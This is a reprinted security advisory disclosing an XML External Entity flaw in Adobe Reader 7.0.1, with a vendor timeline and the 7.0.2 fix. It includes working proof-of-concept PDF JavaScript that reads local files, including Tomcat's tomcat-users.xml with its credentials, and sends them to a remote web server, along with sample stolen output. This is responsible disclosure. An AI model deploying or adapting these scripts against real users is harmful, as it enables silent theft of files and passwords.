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Adobe Reader 7 XML External Entity (XXE) Attack
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SUMMARY
Recent versions of Adobe Reader (previously known as Acrobat Reader) are
vulnerable to XML External Entity (XXE) Attacks. By including a JavaScript
in a PDF file, and have this JavaScript parse an embedded XML document
with a reference to an external entity, it is possible to read certain
types of textual files on the local computer, and have them sent to a
remote attacker.
DETAILS
Vulnerable Systems:
* Adobe Reader 7.01 on Microsoft Windows
* Adobe Reader 7
Immune Systems:
* Adobe Reader 7.02 on Microsoft Windows
Recent versions of Adobe Reader allow inclusion of JavaScript. As well as
JavaScript users may embed XML documents inside a PDF. These XML documents
can reference External Entities through URIs, and most XML parsers,
including the one used in Adobe Reader, will allow access to any URI for
External Entities, including files, unless they are specifically told to
do otherwise.
To Sverre's knowledge, the general "XML External Entity Attack" was first
described by Gregory Steuck in 2002 (
<http://www.securiteam.com/securitynews/6D0100A5PU.html>
http://www.securiteam.com/securitynews/6D0100A5PU.html). The following
example XML document will make the XML parser read c:\boot.ini and expand
it into the content of the foo tag:
< ?xml version="1.0" encoding="ISO-8859-1"?>
< !DOCTYPE foo [
< !ELEMENT foo ANY>
< !ENTITY xxe SYSTEM "c:/boot.ini">
]>
< foo>&xxe;</foo>
Note how the ENTITY definition creates the xxe entity, and how this entity
is referenced in the final line. The textual content of the foo tag will
be the content of c:\boot.ini and a JavaScript accessing the DOM will be
able to extract it.
Note: The attack is limited to files containing text that the XML parser
will allow at the place the External Entity is referenced. Files
containing non-printable characters, and files with randomly located less
than signs or ampersands, will not be include-able. This restriction
greatly limits the number of possible target files.
The following Adobe Reader-targeted JavaScript contains the above XML,
instructs the Adobe Reader XML parser to parse it, and passes the expanded
External Entity (i.e. the content of c:\boot.ini) to a remote web server
using the system web browser:
var xml="< ?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>< !DOCTYPE foo [
< !ELEMENT foo ANY> "
+ "< !ENTITY xxe SYSTEM \"c:/boot.ini\"> ]>< foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml, false);
app.launchURL("http://shh.thathost.com/secdemo/show.php?";
+ "head=Your+boot.ini&text="
+ escape(xdoc.foo.value));
The remote web server URL points to a script that just displays whatever
is sent to it. (Please realize that even if the content of c:\boot.ini is
displayed in the local web browser, it has taken a trip to the remote web
server before being displayed locally.):
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Professional" /fastdetect /NoExecute=OptIn
One can clearly see that the web server got a copy of c:\boot.ini from the
local computer. As stated above, the XML parser is rather picky when it
comes to the contents of the included file. But it has no problems if the
file contains XML, which an increasing number of files appear to do these
days.
New example:
Apache Tomcat stores user names and (clear-text, shame on them!) passwords
in a file called tomcat-users.xml. The following PDF-included JavaScript
looks for this file in several plausible locations, and if found, extracts
all interesting attributes from the included XML, and passes them on to
the above mentioned web site:
function load(uri) {
try {
var xml="<?xml version=\"1.0\"?>< !DOCTYPE foo [ < !ELEMENT foo ANY> "
+ "< !ENTITY xxe SYSTEM "
+ "\"" + uri + "\"> ]>< foo>&xxe;</foo>";
return XMLData.parse(xml, false);
} catch (e) {
console.println(e);
return null;
}
}
function attempt(uri) {
var xdoc = load(uri);
if (xdoc == null)
return false;
try {
var users = XMLData.applyXPath(xdoc,
"//foo/tomcat-users/user/attribute::*");
var s = "match: " + uri + "\n"
for (var q = 0; q < users.length; q++)
s += users.item(q).name + "=" + users.item(q).value + " ";
app.launchURL("http://shh.thathost.com/secdemo/show.php?";
+ "head=tomcat-users&text=" + escape(s));
return true;
} catch (e) {
console.println(e);
}
return false;
}
uris = [
"file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.5/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~1/TOMCAT~1.4/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml",
"file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.4/conf/tomcat-users.xml"
];
for (var q = 0; q < uris.length; q++)
if (attempt(uris[q]))
break;
When executed on Windows XP, which happens to have Tomcat 5.5 installed in
the default location, the web server script displays the following:
match: file:///C:/PROGRA~1/APACHE~2/TOMCAT~1.5/conf/tomcat-users.xml
name=admin password=foobar roles=admin,manager name=tomcat password=tomcat
roles=tomcat name=role1 password=tomcat roles=role1 name=both
password=tomcat roles=tomcat,role1
Vendor Status:
The vendor has released an update in 2005-06-15.
Disclosure Timeline:
2005-04-15: Adobe notified
2005-04-20: Reply from Adobe's Product Security Incident Response Team
(PSIRT) that they are looking into it
2005-05-09: Sverre H. Huseby sent an E-mail to Adobe's PSIRT asking for
the current status
2005-05-10: E-mail from Adobe that they're working on a fix
2005-06-15: Adobe releases the fixed version 7.0.2 for Windows
ADDITIONAL INFORMATION
The information has been provided by <mailto:shh@thathost.com> Sverre H.
Huseby.
The original article can be found at:
<http://shh.thathost.com/secadv/adobexxe/>
http://shh.thathost.com/secadv/adobexxe/
The vendor advisory can be found at:
<http://www.adobe.com/support/techdocs/331710.html>
http://www.adobe.com/support/techdocs/331710.html
Advisory on XML External Entity (XXE) Attack can be found at:
<http://www.securiteam.com/securitynews/6D0100A5PU.html>
http://www.securiteam.com/securitynews/6D0100A5PU.html
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